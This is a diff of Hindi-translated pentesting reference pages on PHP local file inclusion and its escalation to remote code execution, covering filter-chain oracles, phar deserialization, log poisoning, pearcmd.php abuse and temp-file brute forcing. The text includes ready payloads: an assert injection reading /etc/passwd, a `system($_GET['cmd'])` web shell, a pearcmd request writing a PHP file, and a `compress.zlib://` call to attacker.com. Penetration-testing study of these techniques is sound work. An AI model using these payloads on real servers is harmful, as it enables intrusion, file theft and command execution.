|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। सभी समर्थित **एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
|
||||
- `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। **सभी समर्थित एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ उत्पन्न** कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया में मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
@ -265,7 +265,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> भाग "php://filter" केस-संवेदनशील नहीं है
|
||||
> भाग "php://filter" केस संवेदनशील नहीं है
|
||||
|
||||
### php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल
|
||||
|
||||
@ -273,15 +273,15 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
|
||||
|
||||
- टेक्स्ट के प्रारंभ में अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए **`UCS-4LE`** कोडेक का उपयोग करें।
|
||||
- टेक्स्ट के अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए **`UCS-4LE`** कोडेक का उपयोग करें।
|
||||
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही ढंग से अनुमानित किया जाता है** कि php एक **त्रुटि** उत्पन्न करेगा।
|
||||
- **dechunk** फ़िल्टर **पहले चर को हेक्साडेसिमल नहीं होने पर सब कुछ हटा देगा**, इसलिए हम जान सकते हैं कि पहला चर हेक्स है या नहीं।
|
||||
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
|
||||
- **dechunk** फ़िल्टर **पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
|
||||
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा यह देखकर कि जब हम पर्याप्त परिवर्तन करते हैं तो यह हेक्साडेसिमल वर्ण नहीं बनता। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
|
||||
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
|
||||
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
|
||||
- जब प्रारंभिक चर एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
|
||||
- अंतिम समस्या यह है कि **प्रारंभिक अक्षर से अधिक लीक कैसे करें**। **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** जैसे क्रम मेमोरी फ़िल्टर का उपयोग करके अक्षरों के क्रम को बदलना और टेक्स्ट के पहले स्थान पर अन्य अक्षरों को प्राप्त करना संभव है।
|
||||
- और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, इसे **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते, तब तक ऐसा करते रहें।
|
||||
- जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
|
||||
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के पहले स्थान पर अन्य अक्षरों को प्राप्त करना संभव है।
|
||||
- और आगे के डेटा प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, इसे **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
|
||||
|
||||
पोस्ट में इस प्रक्रिया को स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -352,9 +352,9 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
कार्यान्वयन के दौरान, `test.phar` नामक एक फ़ाइल बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
|
||||
`test.phar` नामक एक फ़ाइल का निर्माण किया जाएगा, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी फ़ंक्शंस के माध्यम से, एक deserialization कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
|
||||
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से, एक deserialization कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
|
||||
|
||||
`.phar` फ़ाइलों के संदर्भ में deserialization कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
|
||||
|
||||
@ -367,12 +367,12 @@ phar-deserialization.md
|
||||
### CVE-2024-2961
|
||||
|
||||
**PHP फ़िल्टर का समर्थन करने वाले किसी भी मनमाने फ़ाइल को पढ़ने का दुरुपयोग** करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखा जा सके**, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
|
||||
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक PHP फ़िल्टर का दुरुपयोग करके।
|
||||
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखने** में सक्षम हो सकें, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
|
||||
विशिष्ट आकार के टुकड़ों को आवंटित करने के लिए अधिक PHP फ़िल्टर का दुरुपयोग करना संभव था।
|
||||
|
||||
### अधिक प्रोटोकॉल
|
||||
|
||||
यहां अधिक संभावित [**प्रोटोकॉल शामिल करने के लिए देखें**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
यहां अधिक संभावित [**प्रोटोकॉल शामिल करने के लिए जांचें**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
|
||||
@ -385,13 +385,13 @@ phar-deserialization.md
|
||||
|
||||
## PHP के 'assert' के माध्यम से LFI
|
||||
|
||||
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काम करते समय विशेष रूप से उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि ".." जैसे निर्देशिका ट्रैवर्सल वर्णों वाला इनपुट जांचा जा रहा है लेकिन सही तरीके से साफ नहीं किया गया है।
|
||||
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग के भीतर कोड निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि ".." जैसे निर्देशिका ट्रैवर्सल वर्णों वाला इनपुट जांचा जा रहा है लेकिन सही तरीके से साफ नहीं किया गया है।
|
||||
|
||||
उदाहरण के लिए, PHP कोड को इस तरह से निर्देशिका ट्रैवर्सल को रोकने के लिए डिज़ाइन किया जा सकता है:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
|
||||
जबकि इसका उद्देश्य ट्रैवर्सल को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -404,9 +404,9 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP ब्लाइंड पाथ ट्रैवर्सल
|
||||
|
||||
> [!WARNING]
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** को **एक्सेस** करेगा लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
|
||||
|
||||
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि ऑरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
|
||||
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
|
||||
|
||||
संक्षेप में, तकनीक **"UCS-4LE" एन्कोडिंग** का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी **बड़ी** हो जाए कि फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **त्रुटि** उत्पन्न करेगा।
|
||||
|
||||
@ -414,7 +414,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इस पर)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
तकनीकी विवरण के लिए उल्लेखित पोस्ट देखें!
|
||||
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जांच करें!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
@ -431,7 +431,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
>
|
||||
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही ढंग से लिखें** अन्यथा PHP हर बार त्रुटि करेगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।
|
||||
|
||||
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर **authorisation "basic"** में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
|
||||
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें**, लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर **प्राधिकरण "बेसिक"** में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
|
||||
अन्य संभावित लॉग पथ:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -453,7 +453,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
### /proc/\*/fd/\* के माध्यम से
|
||||
|
||||
1. बहुत सारे शेल अपलोड करें (उदाहरण के लिए: 100)
|
||||
2. शामिल करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जिसमें $PID = प्रक्रिया का PID (बूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी बूट फोर्स किया जा सकता है)
|
||||
2. शामिल करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)
|
||||
|
||||
### /proc/self/environ के माध्यम से
|
||||
|
||||
@ -502,9 +502,9 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम उठाए जा सकते हैं:
|
||||
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक स्थानीय फ़ाइल समावेशन (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
|
||||
|
||||
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
|
||||
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम फ़ील्ड में एक PHP पेलोड इंजेक्ट करें।
|
||||
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
@ -517,7 +517,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php filters का उपयोग करके मनचाहा सामग्री** आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप **include के लिए मनचाहा php कोड** **बिना लिखे** एक फ़ाइल में उत्पन्न कर सकते हैं।
|
||||
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php filters का उपयोग करके मनचाहा सामग्री** आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप **मनचाहा php कोड** शामिल करने के लिए **बिना लिखे** इसे एक फ़ाइल में उत्पन्न कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -525,7 +525,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Upload** एक फ़ाइल जो **अस्थायी** रूप से `/tmp` में संग्रहीत होगी, फिर **समान अनुरोध में,** एक **segmentation fault** को ट्रिगर करें, और फिर **अस्थायी फ़ाइल को हटाया नहीं जाएगा** और आप इसके लिए खोज कर सकते हैं।
|
||||
**Upload** एक फ़ाइल जो **अस्थायी** रूप से `/tmp` में संग्रहीत होगी, फिर **उसी अनुरोध में,** एक **segmentation fault** को ट्रिगर करें, और फिर **अस्थायी फ़ाइल को हटाया नहीं जाएगा** और आप इसके लिए खोज कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
@ -557,9 +557,9 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php docker छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि किसी URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
|
||||
|
||||
निम्नलिखित अनुरोध `/tmp/hello.php` में सामग्री `<?=phpinfo()?>` के साथ एक फ़ाइल बनाएगा:
|
||||
निम्नलिखित अनुरोध `/tmp/hello.php` में सामग्री `<?=phpinfo()?>` के साथ एक फ़ाइल बनाता है:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
|
@ -10,7 +10,7 @@
|
||||
```php
|
||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
एक अनुरोध भेजा जाएगा जो http://attacker.com/file के लिए होगा, फिर सर्वर उस अनुरोध का उत्तर एक मान्य HTTP प्रतिक्रिया के साथ दे सकता है, कनेक्शन को खुला रख सकता है, और कुछ समय बाद अतिरिक्त डेटा भेज सकता है जो फ़ाइल में भी लिखा जाएगा।
|
||||
एक अनुरोध भेजा जाएगा जो http://attacker.com/file के लिए होगा, फिर सर्वर इस अनुरोध का उत्तर एक मान्य HTTP प्रतिक्रिया के साथ दे सकता है, कनेक्शन को खुला रख सकता है, और कुछ समय बाद अतिरिक्त डेटा भेज सकता है जो फ़ाइल में भी लिखा जाएगा।
|
||||
|
||||
आप इस जानकारी को php-src कोड के इस भाग में main/streams/cast.c में देख सकते हैं:
|
||||
```c
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
डिफ़ॉल्ट रूप से जब एक फ़ाइल PHP में अपलोड की जाती है (भले ही इसकी अपेक्षा न की जा रही हो), यह `/tmp` में **`php[a-zA-Z0-9]{6}`** जैसे नाम के साथ एक अस्थायी फ़ाइल उत्पन्न करेगा, हालांकि मैंने कुछ डॉकर इमेज देखी हैं जहाँ उत्पन्न फ़ाइलों में अंक नहीं होते।
|
||||
डिफ़ॉल्ट रूप से जब एक फ़ाइल PHP में अपलोड की जाती है (भले ही इसकी अपेक्षा न की जा रही हो), यह `/tmp` में **`php[a-zA-Z0-9]{6}`** जैसे नाम के साथ एक अस्थायी फ़ाइल बनाएगी, हालांकि मैंने कुछ डॉकर इमेज देखी हैं जहाँ उत्पन्न फ़ाइलों में अंक नहीं होते।
|
||||
|
||||
एक स्थानीय फ़ाइल समावेश में, **यदि आप उस अपलोड की गई फ़ाइल को शामिल करने में सफल होते हैं, तो आपको RCE मिलेगा**।
|
||||
|
||||
@ -17,7 +17,7 @@ max_file_uploads = 20
|
||||
|
||||
### अन्य तकनीकें
|
||||
|
||||
अन्य तकनीकें PHP प्रोटोकॉल पर हमले करने पर निर्भर करती हैं (यदि आप केवल पथ के अंतिम भाग को नियंत्रित करते हैं तो आप सक्षम नहीं होंगे), फ़ाइल के पथ को उजागर करना, अपेक्षित फ़ाइलों का दुरुपयोग करना, या **PHP को विभाजन दोष का सामना करने के लिए मजबूर करना ताकि अपलोड की गई अस्थायी फ़ाइलें हटाई न जाएं**।\
|
||||
अन्य तकनीकें PHP प्रोटोकॉल पर हमले पर निर्भर करती हैं (यदि आप केवल पथ के अंतिम भाग को नियंत्रित करते हैं तो आप सक्षम नहीं होंगे), फ़ाइल के पथ का खुलासा करना, अपेक्षित फ़ाइलों का दुरुपयोग करना, या **PHP को विभाजन दोष का सामना करने के लिए मजबूर करना ताकि अपलोड की गई अस्थायी फ़ाइलें हटाई न जाएं**।\
|
||||
यह तकनीक **पिछली तकनीक के समान है लेकिन शून्य दिन खोजने की आवश्यकता नहीं है**।
|
||||
|
||||
### शाश्वत प्रतीक्षा तकनीक
|
||||
@ -33,7 +33,7 @@ max_file_uploads = 20
|
||||
|
||||
इस तकनीक की **मुख्य समस्याएं** हैं:
|
||||
|
||||
- एक विशिष्ट फ़ाइल(फाइलें) का होना आवश्यक है (और भी हो सकती हैं)
|
||||
- एक विशिष्ट फ़ाइल(फाइलों) का होना आवश्यक है (और भी हो सकती हैं)
|
||||
- संभावित फ़ाइल नामों की **असंभव** मात्रा: **56800235584**
|
||||
- यदि सर्वर **अंक का उपयोग नहीं कर रहा है** तो कुल संभावित मात्रा: **19770609664**
|
||||
- डिफ़ॉल्ट रूप से **केवल 20 फ़ाइलें** एक **एकल अनुरोध** में अपलोड की जा सकती हैं।
|
||||
@ -41,7 +41,7 @@ max_file_uploads = 20
|
||||
- पिछले सीमाओं के साथ यह सीमा इस हमले को बहुत लंबा बना सकती है
|
||||
- **PHP अनुरोध के लिए समय समाप्ति**। आदर्श रूप से, यह शाश्वत होना चाहिए या अस्थायी अपलोड की गई फ़ाइलों को हटाए बिना PHP प्रक्रिया को समाप्त करना चाहिए, यदि नहीं, तो यह भी एक समस्या होगी
|
||||
|
||||
तो, आप **PHP शामिल को कभी समाप्त नहीं करने** के लिए कैसे कर सकते हैं? बस फ़ाइल **`/sys/kernel/security/apparmor/revision`** को शामिल करके (**दुर्भाग्यवश Docker कंटेनरों में उपलब्ध नहीं है...**)।
|
||||
तो, आप **PHP शामिल को कभी समाप्त नहीं करने** के लिए कैसे कर सकते हैं? बस फ़ाइल **`/sys/kernel/security/apparmor/revision`** को शामिल करके (**दुर्भाग्यवश Docker कंटेनरों में उपलब्ध नहीं...**)।
|
||||
|
||||
बस इसे कॉल करके आजमाएं:
|
||||
```bash
|
||||
@ -65,16 +65,16 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि पिछले उदाहरण में हम **अन्य ग्राहकों को पूरी तरह से DoSing कर रहे हैं**!
|
||||
|
||||
यदि Apache सर्वर को सुधारा गया है और हम **4000 कनेक्शनों** का दुरुपयोग कर सकते हैं (अधिकतम संख्या के आधे रास्ते)। हम `3999*20 = 79980` **फ़ाइलें** बना सकते हैं और **संख्या** लगभग **19.7 घंटे** या **6.9 घंटे** (10 घंटे, 3.5 घंटे 50% संभावना) में **कम हो जाएगी**।
|
||||
यदि Apache सर्वर को सुधारा गया है और हम **4000 कनेक्शनों** का दुरुपयोग कर सकते हैं (अधिकतम संख्या के आधे रास्ते)। हम `3999*20 = 79980` **फ़ाइलें** बना सकते हैं और **संख्या** लगभग **19.7 घंटे** या **6.9 घंटे** (10 घंटे, 3.5 घंटे 50% संभावना) तक **कम** हो जाएगी।
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
यदि Apache के लिए नियमित PHP मॉड का उपयोग करने के बजाय **वेब पृष्ठ** **PHP-FMP** का उपयोग कर रहा है (यह वेब पृष्ठ की दक्षता में सुधार करता है, इसलिए इसे पाना सामान्य है), तो तकनीक में सुधार करने के लिए कुछ और किया जा सकता है।
|
||||
|
||||
PHP-FMP **`request_terminate_timeout`** पैरामीटर को **`/etc/php/<php-version>/fpm/pool.d/www.conf`** में **कॉन्फ़िगर** करने की अनुमति देता है।\
|
||||
यह पैरामीटर अधिकतम सेकंड की मात्रा को इंगित करता है **जब** **PHP को अनुरोध समाप्त करना चाहिए** (डिफ़ॉल्ट रूप से अनंत, लेकिन **यदि पैरामीटर को अनकमेंट किया गया है तो 30 सेकंड**)। जब PHP द्वारा एक अनुरोध को संसाधित किया जा रहा है, तो निर्दिष्ट संख्या के सेकंड में, इसे **मार दिया जाता है**। इसका मतलब है, कि यदि अनुरोध अस्थायी फ़ाइलें अपलोड कर रहा था, क्योंकि **PHP प्रोसेसिंग रोक दी गई थी**, तो उन **फ़ाइलों को हटाया नहीं जाएगा**। इसलिए, यदि आप एक अनुरोध को उस समय तक चलाने में सक्षम हैं, तो आप **हजारों अस्थायी फ़ाइलें** उत्पन्न कर सकते हैं जो नहीं हटेंगी, जो उन्हें खोजने की प्रक्रिया को **तेज़ कर देगी** और सभी कनेक्शनों का उपभोग करके प्लेटफ़ॉर्म पर DoS की संभावना को कम कर देगी।
|
||||
